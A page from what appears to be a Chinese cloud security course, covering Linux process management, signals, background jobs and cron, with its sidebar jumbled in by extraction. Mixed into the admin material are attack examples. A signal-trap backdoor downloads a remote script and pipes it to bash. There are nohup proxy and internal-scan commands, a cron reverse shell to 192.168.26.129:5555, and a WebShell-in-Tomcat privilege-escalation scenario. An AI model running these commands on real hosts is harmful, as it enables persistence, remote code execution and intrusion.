You are on page 1of 10

2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

云安全攻防入门
进程和计划任务
Search ⌃ K

进程和计划任务在实战场景中会利用到,例如在提权方面、应急响应。在攻击
简介 与防守都需要了解进程和计划任务。例如在无内核漏洞时,利用系统自带高权
限目录、高权限进程来提权,利用管理员计划任务中的Bash脚本提权;
第一章 云 上攻防体系介绍

云计算概念 进程

什么是云安全 进程是一种抽象的概念,从来没有统一标准定义,进程由,程序、数据集合、
进程控制分三部分组成。
本章小结

程序用于描述进程要完成的功能,是控制进程执行的指令集;
第二章 L I N UX攻防快速 入门(上) 数据库集合是程序在执行时所需要的数据和工作区;
Linux基础快速入门 程序控制块(PCB),包含进程的描述信息和控制信息,是进程存在唯一
标志
文件管理和IO重定向
进程的特征:
反弹SHell原理与检测思路
动态性:进程是程序的一次执行过程,临时的、有生命期、动态产生、动
echo命令在攻击中应用 态消亡
用户组在攻防场景中的应用 并发生:任何进程都可以和其他进程一起并发执行

特殊权限管理与提权 独立性:是由系统进行资源分配和高度的一个独立单位

SUDO授权与提权 结构性:程序、数据、进程控制块三部分组成

文本三剑客
Powered By GitBook
进程管理和性能相关工具
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

pstree
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

yum install psmisc -y


进程信息ps
-p 显示PID
-T 不显示线程thread,默认显示线程
默认显示当前终端信息,Linux进程信息保存在/proc/PID目录下各文件中
-u 显示用户切换
-H pid 高亮显示指定进程及其前辈进程
a:显示一个终端的所有进程;
u:显示进程的归属用户及内存的使用情况;
#常用选项
pstree -uT
x:显示没有控制终端的进程;
pstree -pT
-l:长格式显示更加详细的信息;

-e:显示所有进程;

#显示进程详细命令
ps axo pid,cmd

#常用组合
ps aux
ps -ef
ps -efH

#查看进程父子关系
ps auxf

#只显示指定用户名、ID进程
ps -fU apache|ID

场景:在某个省级演练中,在内网针对靶标发起攻击,通过爆破获得一个普通
权限,查看进程发现有tomcat进程,将WebShell写入到tomcat目录下,访问
JSP就是root权限。
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

进程实时状态top

top

uptime信息:l
tasks及cpu信息:t
memory信息:m

#htop是top增强版
htop

查看进程打开文件

lsof 命令,“list opened files”的缩写,直译过来,就是列举系统中已经被打开的


文件。

通过 lsof 命令,我们就可以根据文件找到对应的进程信息,也可以根据进程信
息找到进程打开的文件。

lsof -o PID #查看进程打开的文件


lsof -c httpd #查看指定程序打开的文件
lsof -i -n #查看网络连接
lsof -i -n -a -p PID #查看指定进程打开的网络连接
lsof -n -P -i TCP -s TCP:ESTABLISHED #查看指定状态的网络连接

结束进程

kill 命令只是用来向进程发送一个信号,至于这个信号是什么,是用户指定的。

kill 命令的执行原理是这样的,kill 命令会向操作系统内核发送一个信号(终止


信号)和目标进程的 PID,然后系统内核根据收到的信号类型,对指定进程进
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

行相应的操作。

信号编号 信号名 含义

0 EXIT 程序退

挂掉电
信号,
1 HUP
进程在
初始化

表示结
2 INT 性的,
发出就

3 QUIT 退出。

9 KILL 杀死进

11 SEGV 段错误

正常结
15 TERM
默认信

#显示当前系统可用信号
kill -l
trap -l
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

#强制结束进程
kill -9 pid

#结束进程名,而非通过PID
killall

信号发送

结束进程是通过发送信号,由内核来帮我们操作,像信号9用于结束进程

常用信号:

SIGHUP 挂起进程 1

SIGINT 终止进程;Ctrl+c 2

SIGQUIT 停止进程 3

SIGKILL 强制杀死 9

SIGTERM 尽可能终止 15

无条件停止进程,但不是终止
SIGSTOP 19
进程

SIGCONT 继续运行 18

ATT&CK T1154
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

trap命令用于指定在接收到信号后将要采取的动作,常见的用途是在脚本程序
被中断时完成清理工作。
当shell接收到sigspec指定的信号时,arg参数(命令)将会被读取,并被执
行。例如:

可以用于来做后门:

trap 'nohup curl -sS


https://raw.githubusercontent.com/redcanaryco/atomic-red-
team/master/atomics/T1546.005/src/echo-art-fish.sh | bash'
SIGINT

当管理员按CTRL + C都会被执行

如果Bash shell收到了SIGHUP信号,当你要离开一个交互式shell,它就会退
出,但是在退出之前,它会将SIGHUP信号传给所有由该shell所启动的进程。

退出终端将会下载执行脚本:

trap 'nohup curl -sS


https://raw.githubusercontent.com/redcanaryco/atomic-red-
team/master/atomics/T1546.005/src/echo-art-fish.sh | bash'
EXIT

进程后台管理

让程序运行于后台
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

Ctrl + Z
后台运行剥离与终端关系
COMMAND &

nohup COMMAND &>/dev/null &


screen; COMMAND
tmux; COMMAND

#查看当前作业
jobs

#作业控制
fg #后台作业调回前台
bg #后台继续运行
kill #终止

场景:在WebShell如何进行FRP代理? 持久化的执行我们的扫描任务?

nohup /tmp/amd64c -a 1.1.1.1 -p 4436 -t pass -r 5672 &

nohup /tmp/fscan -h 192.168.0.0/16 -nopoc &

计划任务

挖矿等木马,常常会把执行脚本文件写入到计划任务中;

提权场景。

cron

/etc/crontab 主配置文件
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

/etc/cron.d/ 子配置文件
/var/spool/cron/USER 用户文件

分 时 日 月 周

-e 编辑某个用户的 crontab 文件内容。如果不指定用户,则表示编辑当前


用户的 crontab 文件
-l 显示某用户的 crontab 文件内容,如果不指定用户,则表示显示当前用
户的 crontab 文件内容。

#每天凌晨1点20分清除/var/log/slow.log这个文件
20 1 * * * echo "" > /var/log/slow.log

#11月每天的6-12点之间每隔2小时执行/app/bin/test.sh
0 6-12/2 * 11 * /app/bin/test.sh

#反弹Shell
echo '*/1 * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0
2023/11/6 11:57 进程和计划任务 - 云安全攻防入门

第三章 Linux攻防快速入门(下) - Next - 第三章 Linux攻防快速入门


Previous (下)
Bash进阶-攻防实战场景应用 Linux服务-SSH攻防

Last modified 2d ago WAS T H I S PAGE HEL PFUL?

You might also like